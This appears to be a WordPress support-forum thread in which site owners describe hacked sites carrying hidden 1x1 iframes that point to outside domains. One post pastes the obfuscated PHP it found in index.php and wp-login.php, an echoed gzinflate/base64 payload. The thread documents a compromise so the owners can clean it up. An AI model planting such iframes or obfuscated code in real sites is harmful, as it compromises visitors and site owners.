www.hcsdesigns.com
www.cepsn.org
I am having difficulty finding the exact piece of java script I need to remove.
I have learned the iframe is auto generated when a visitor or search engine goes to my sites…
here it is: <iframe name=Twitter scrolling=auto frameborder=no align=center height=1 width=1 src=https://[redacted by moderator]/post.php?id=3696496200></iframe>
<iframe src=”https://tazeeni.ir/ShowMessage.aspx?ID=3″ style=”width:1px; height:1px; border:none;”></iframe>
currently I can see that it is slowing down my pagespeed – https://developers.google.com/speed/pagespeed/insights#url=http_3A_2F_2Fwww.mobiledokan.com_2F&mobile=false&rule=EnableGzipCompression
I don’t know what else it is doing to my site. From pagespeed insights I can see that two ‘.ir’ sites were put inside my site. How to remove them? Can I still trust Better WP security?
https://www.ads-software.com/extend/plugins/better-wp-security/
]]>Here is what I am seeing currently in my homepage –
<iframe src=”https://tazeeni.ir/ShowMessage.aspx?ID=3″ style=”width:1px; height:1px; border:none;”></iframe>
I have discovered it while running google pagespeed insights. This tazeeni.ir site is slowing down my pagespeed in a greater level. here is an example –
https://developers.google.com/speed/pagespeed/insights#url=http_3A_2F_2Fwww.mobiledokan.com_2F&mobile=false&rule=EnableGzipCompression
You see that the webgozar.ir and tazeeni.ir are making my site slow. But I don’t know what these sites are doing in my site.
Should I remove the plugin? How to remove the codes from these sites in my site? Help is much apreciated, thanks!
]]>Has anybody found a solution?
]]>This is my site: https://tippiocampo.com/
the iframe (found it using Google Chrome’s “”inspect element feature:
<iframe src="https://dropshipperportal.com" style="visibility: hidden; position: absolute; left: 0px; top: 0px; " width="10" height="10"></iframe>
This is the weird code that I found on index.php and wp-login.php that I’ve since deleted.
#a4bc48#
echo(gzinflate(base64_decode("tVXLcqMwEPwXX4Bi7EUSSKJk7SX7B3t05cDG4FDlRwJ4fUjl31czAtvBj2QPKcuFHqOeVk8L5u1TU790P+sqPNTb5e4wW+6e9pty20WFDSf7phKTWfuyrrs4EBkPolm7/9N2TZiAjEzhYn4VXRm/vX9ccHCFtbYoosouplwD/qVrGUwzECAFqBQkB52A4iBTUG4mhxykpFEOgoNi1D9bVxp4DjqFVIFMMDhl2PExAtyDEbLAIA4pZCkwBpkLBC1hoHKio9Rpv+sLF8f5MUZr5ItLDHO7jhuOcW6eRXOC1zgielPHUFxJ7EAdOs5w4MhbKjqtaxlwBizBhokU5lIULj10hs2Tx77v5ITNUE9Ocw6XqHPKTvzcfsrFOCpEywiZUoTsKYwjFB1Gp31taFkzIuIV9X3WnxqLwHqmksru5XES92T1oI+moaD4hMroZxjpSgLywRIoX07CMJrMe1WOM+6XodSo2oXabml6pc5DOTNKKEi5M14ozy3HjByhvScV7SHHc6rxHdd7p6S0z5vlmv3J4Jfn8Wdxs3lvUhRHDw5SfV2OMiLKyW6gvstvH1iduyb/zDL9FRib5jbeTTMR0i073cE7txldAXY3/GjAa7FfKsj4ZlJZhov3//W9cpMvEb/2Fvu2N7I3zdFPVGmRDD5jNMRTj27qo9ksbVAE5tVOXiemtP2Hq/xbrM3BVqa1QWBWNqiaXRAHm4fnonnYLcvAVLsmrG1i6vlhti63q+7Z1HEcvbW2jX93Tb1dLVaPoVDxYVE/Rub99BUrw6AM2yiIzPxH/8X8Bw==")));
#/a4bc48#I would appreciate a nudge towards the right direction please, thanks!
]]>have somebody more info about
<iframe id="iframe" style="width: 1px; height: 1px;" src=" https://counter-wordpress.com/frame.php">
<html>
<head>
</head>
<body>
</body>
</html>
</iframe>Somebody hacked all my WP sites…
THX to all who will help.
]]>1.- I have all my websites redirected from https://xyz.com to https://www.xyz.com
2.- One day i wrote in the navigation bar the https://xyz.com and got a message about the header output etc etc
3.- I went to google webmaster tools and i found there a code that was marked as suspicious by google its an IFRAME
4.- I first found it in my INDEX.PHP file and deleted it,
5.- It appeared again in about an hour.
6.- I deleted all my SQL databases and RAN Karspersky in my MAC and it found some trojans, which were deleted by the antivirus.
7.- Then I Changed my CPANEL password to something super strong, downloaded a new version of WordPress its the latest its 3.1.2
8.- Scaned with karspersky the donwloaded file and then uploaded it to my Cpanel.
9.- Created super strong USER and PASSWORD and new SQL with STRONG password and applied SECRET KEYS generated with wordpress key generator.
10.- And forgor to tell you that the CONFIG.PHP and CRON.PHP in this NEW wordpress version have NO php closing tags at the end of the file, so I ADDED THEM to the files.
So, anybody could think its done? NO, in about 2 hours the IFRAME came again!
My hosting is at HOSTICAN and they say, i need to ask for help in wordpress forums because they GIVE NO HELP with that.
Any idea? I have everything new
]]>My Host (1&1) says it’s all on me, the hack not occurring within the server but coming external.
Is there any thorough reference to this which will give a more comprehensive answer?
A number of domains I bought without developing yet now show “reported attack site.” How long will that take to clear up? I mean once code is cleaned up, is the site dead forever?
Last – is there a third party type application that will scan a list of sites and offer early warning? I have too many to scan every day, but few that are developed which I need to monitor. An app would help with the others.
For what it’s worth, I accessed my FTP with Fetch from a Mac. I changed the password to about 30 characters recently, but am now sifting site by site to clean up.
Last, I don’t know if the host is right, is it possible the hack is from within? They’ve not answered my 2 emails sent in last two weeks. Are there better hosts I should consider switching to?
]]>